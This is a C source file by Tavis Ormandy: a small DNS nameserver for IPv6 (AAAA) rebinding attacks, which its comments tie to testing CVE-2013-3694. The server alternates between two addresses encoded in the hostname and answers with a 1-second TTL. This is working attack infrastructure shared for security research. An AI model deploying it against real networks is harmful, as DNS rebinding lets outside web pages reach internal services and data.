Simple rebinding nameserver.

Tavis Ormandy
2013-11-12T16:34:29Z

rebinder.c

| #include <stdlib.h>
| #include <stdbool.h>
| #include <stdint.h>
| #include <stdio.h>
| #include <stddef.h>
| #include <stdlib.h>
| #include <unistd.h>
| #include <string.h>
| #include <netdb.h>
| #include <time.h>
| #include <pwd.h>
| #include <err.h>
| #include <sys/types.h>
| #include <sys/socket.h>
| #include <arpa/inet.h>
| #include <arpa/nameser.h>
| #include <netinet/in.h>
|
| // Very (very) simple nameserver for AAAA rebinding attacks.
| //
| // This is the server used for testing CVE-2013-3694, http://blog.cmpxchg8b.com/2013/11/qnx.html
| //
| // Tavis Ormandy <taviso@cmpxchg8b.com>
| //
| //
| // $ host aabbccddeeffaabbccddeeffaabbccdd.112233445566778899aa112233445566.rbndr.us
| // aabbccddeeffaabbccddeeffaabbccdd.112233445566778899aa112233445566.rbndr.us has IPv6 address aabb:ccdd:eeff:aabb:ccdd:eeff:aabb:ccdd
| // $ host aabbccddeeffaabbccddeeffaabbccdd.112233445566778899aa112233445566.rbndr.us
| // aabbccddeeffaabbccddeeffaabbccdd.112233445566778899aa112233445566.rbndr.us has IPv6 address aabb:ccdd:eeff:aabb:ccdd:eeff:aabb:ccdd
| // $ host aabbccddeeffaabbccddeeffaabbccdd.112233445566778899aa112233445566.rbndr.us
| // aabbccddeeffaabbccddeeffaabbccdd.112233445566778899aa112233445566.rbndr.us has IPv6 address 1122:3344:5566:7788:99aa:1122:3344:5566
| // $ host aabbccddeeffaabbccddeeffaabbccdd.112233445566778899aa112233445566.rbndr.us
| // aabbccddeeffaabbccddeeffaabbccdd.112233445566778899aa112233445566.rbndr.us has IPv6 address aabb:ccdd:eeff:aabb:ccdd:eeff:aabb:ccdd
| // $ host aabbccddeeffaabbccddeeffaabbccdd.112233445566778899aa112233445566.rbndr.us
| // aabbccddeeffaabbccddeeffaabbccdd.112233445566778899aa112233445566.rbndr.us has IPv6 address 1122:3344:5566:7788:99aa:1122:3344:5566
| //
| //
|
| #define __packed __attribute__((packed))
|
| struct qname {
| uint8_t len;
| uint8_t label[32];
| } __packed;
|
| struct __packed root {
| struct __packed {
| uint8_t len; // 5
| uint8_t data[5]; // 'r' 'b' 'n' 'd' 'r'
| } domain;
| struct __packed {
| uint8_t len; // 2
| uint8_t data[2]; // 'u' 's'
| } tld;
| uint8_t root; // 0
| };
|
| static const struct root kExpectedDomain = {
| .domain = { 5, { 'r', 'b', 'n', 'd', 'r' } },
| .tld = { 2, { 'u', 's' } },
| .root = 0,
| };
|
| struct __packed header {
| uint16_t id;
| struct __packed {
| unsigned rd : 1;
| unsigned tc : 1;
| unsigned aa : 1;
| unsigned opcode : 4;
| unsigned qr : 1;
| unsigned rcode : 4;
| unsigned ra : 1;
| unsigned ad : 1;
| unsigned z : 2;
| } flags;
| uint16_t qdcount;
| uint16_t ancount;
| uint16_t nscount;
| uint16_t arcount;
| struct __packed {
| struct qname primary;
| struct qname secondary;
| struct root domain;
| } labels;
| uint16_t qtype;
| uint16_t qclass;
| struct __packed {
| uint8_t flag;
| uint8_t offset;
| } ptr;
| uint16_t type;
| uint16_t class;
| uint32_t ttl;
| uint16_t rdlength;
| struct in6_addr rdata;
| } __packed;
|
| bool parse_ip6_label(struct in6_addr *out, const uint8_t label[32])
| {
| char ip6addr[] = {
| label[ 0], label[ 1], label[ 2], label[ 3], ':',
| label[ 4], label[ 5], label[ 6], label[ 7], ':',
| label[ 8], label[ 9], label[10], label[11], ':',
| label[12], label[13], label[14], label[15], ':',
| label[16], label[17], label[18], label[19], ':',
| label[20], label[21], label[22], label[23], ':',
| label[24], label[25], label[26], label[27], ':',
| label[28], label[29], label[30], label[31], 0,
| };
|
| return inet_pton(AF_INET6, ip6addr, out) == 1;
| }
|
| int main(int argc, char **argv)
| {
| struct servent *domain;
| struct passwd *nobody;
| struct sockaddr_in server;
| struct sockaddr_in address;
| struct header reply;
| struct header query;
| socklen_t addrlen;
| time_t querytime;
| int sockfd;
|
| if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0) {
| err(EXIT_FAILURE, "failed to create socket");
| }
|
| if ((domain = getservbyname("domain", "udp")) == NULL) {
| errx(EXIT_FAILURE, "unable to lookup domain properties");
| }
|
| server.sin_family = AF_INET;
| server.sin_addr.s_addr = INADDR_ANY;
| server.sin_port = domain->s_port;
| addrlen = sizeof(address);
| nobody = getpwnam("nobody");
|
| if (nobody == NULL) {
| errx(EXIT_FAILURE, "unable to lookup unprivileged user");
| }
|
| // Start listening for queries.
| if (bind(sockfd, (struct sockaddr *) &server, sizeof(server)) != 0) {
| errx(EXIT_FAILURE, "unable to bind server");
| }
|
| // Privileges no longer needed, so change to a chroot directory and setuid.
| if (chdir("/var/empty") != 0 || chroot(".") != 0) {
| errx(EXIT_FAILURE, "unable to change root directory");
| }
|
| // Change user.
| if (setgid(nobody->pw_gid) != 0 || setuid(nobody->pw_uid) != 0) {
| errx(EXIT_FAILURE, "unable to change to unprivileged user");
| }
|
| while (true) {
| char clientaddr[INET_ADDRSTRLEN];
|
| memset(&query, 0, sizeof query);
| memset(&reply, 0, sizeof reply);
|
| // Attempt to read a DNS query.
| if (recvfrom(sockfd, &query, sizeof query, 0, (struct sockaddr *) &address, &addrlen) < 0) {
| warn("error reading query packet from network");
| continue;
| }
|
| // Record time of request.
| time(&querytime);
|
| // Log query.
| fprintf(stdout, "%s\t%s", inet_ntop(AF_INET, &address.sin_addr, clientaddr, sizeof(clientaddr)), ctime(&querytime));
|
| // Some quick validation.
| if (query.labels.primary.len != 32) {
| warnx("ignoring query with %u byte primary label (must be 32)", query.labels.primary.len);
| continue;
| }
|
| if (query.labels.secondary.len != 32) {
| warnx("ignoring query with %u byte secondary label (must be 32)", query.labels.secondary.len);
| continue;
| }
|
| if (memcmp(&query.labels.domain, &kExpectedDomain, sizeof kExpectedDomain) != 0) {
| warnx("ignoring query for unrecognised domain (must be .rbndr.us)");
| continue;
| }
|
| // Choose a random label to return based on ID.
| if (!parse_ip6_label(&reply.rdata, (query.id & 1) ? query.labels.primary.label : query.labels.secondary.label)) {
| warnx("client provided an invalid ip6 address, ignoring request");
| continue;
| }
|
| // Duplicate the question.
| memcpy(&reply.labels, &query.labels, sizeof reply.labels);
|
| reply.id = query.id;
| reply.flags.qr = true;
| reply.flags.aa = true;
| reply.ptr.flag = NS_CMPRSFLGS;
| reply.ptr.offset = offsetof(struct header, labels);
| reply.type = htons(ns_t_aaaa);
| reply.class = htons(ns_c_in);
| reply.ttl = htonl(1),
| reply.rdlength = htons(sizeof reply.rdata);
| reply.qtype = query.qtype;
| reply.qclass = query.qclass;
| reply.qdcount = query.qdcount;
| reply.ancount = query.qdcount;
|
| // I currently only support AAAA records.
| if (reply.qtype != htons(ns_t_aaaa)) {
|
| // We have no matching records for this type.
| reply.ancount = 0;
|
| // Send an empty response (stop after question)
| if (sendto(sockfd, &reply, offsetof(struct header, ptr), 0, (struct sockaddr *) &address, addrlen) != offsetof(struct header, ptr)) {
| warn("error sending response to query");
| continue;
| }
| } else {
| // Send full response.
| if (sendto(sockfd, &reply, sizeof reply, 0, (struct sockaddr *) &address, addrlen) != sizeof(reply)) {
| warn("error sending response to query");
| continue;
| }
| }
| }
|
| return 0;
| }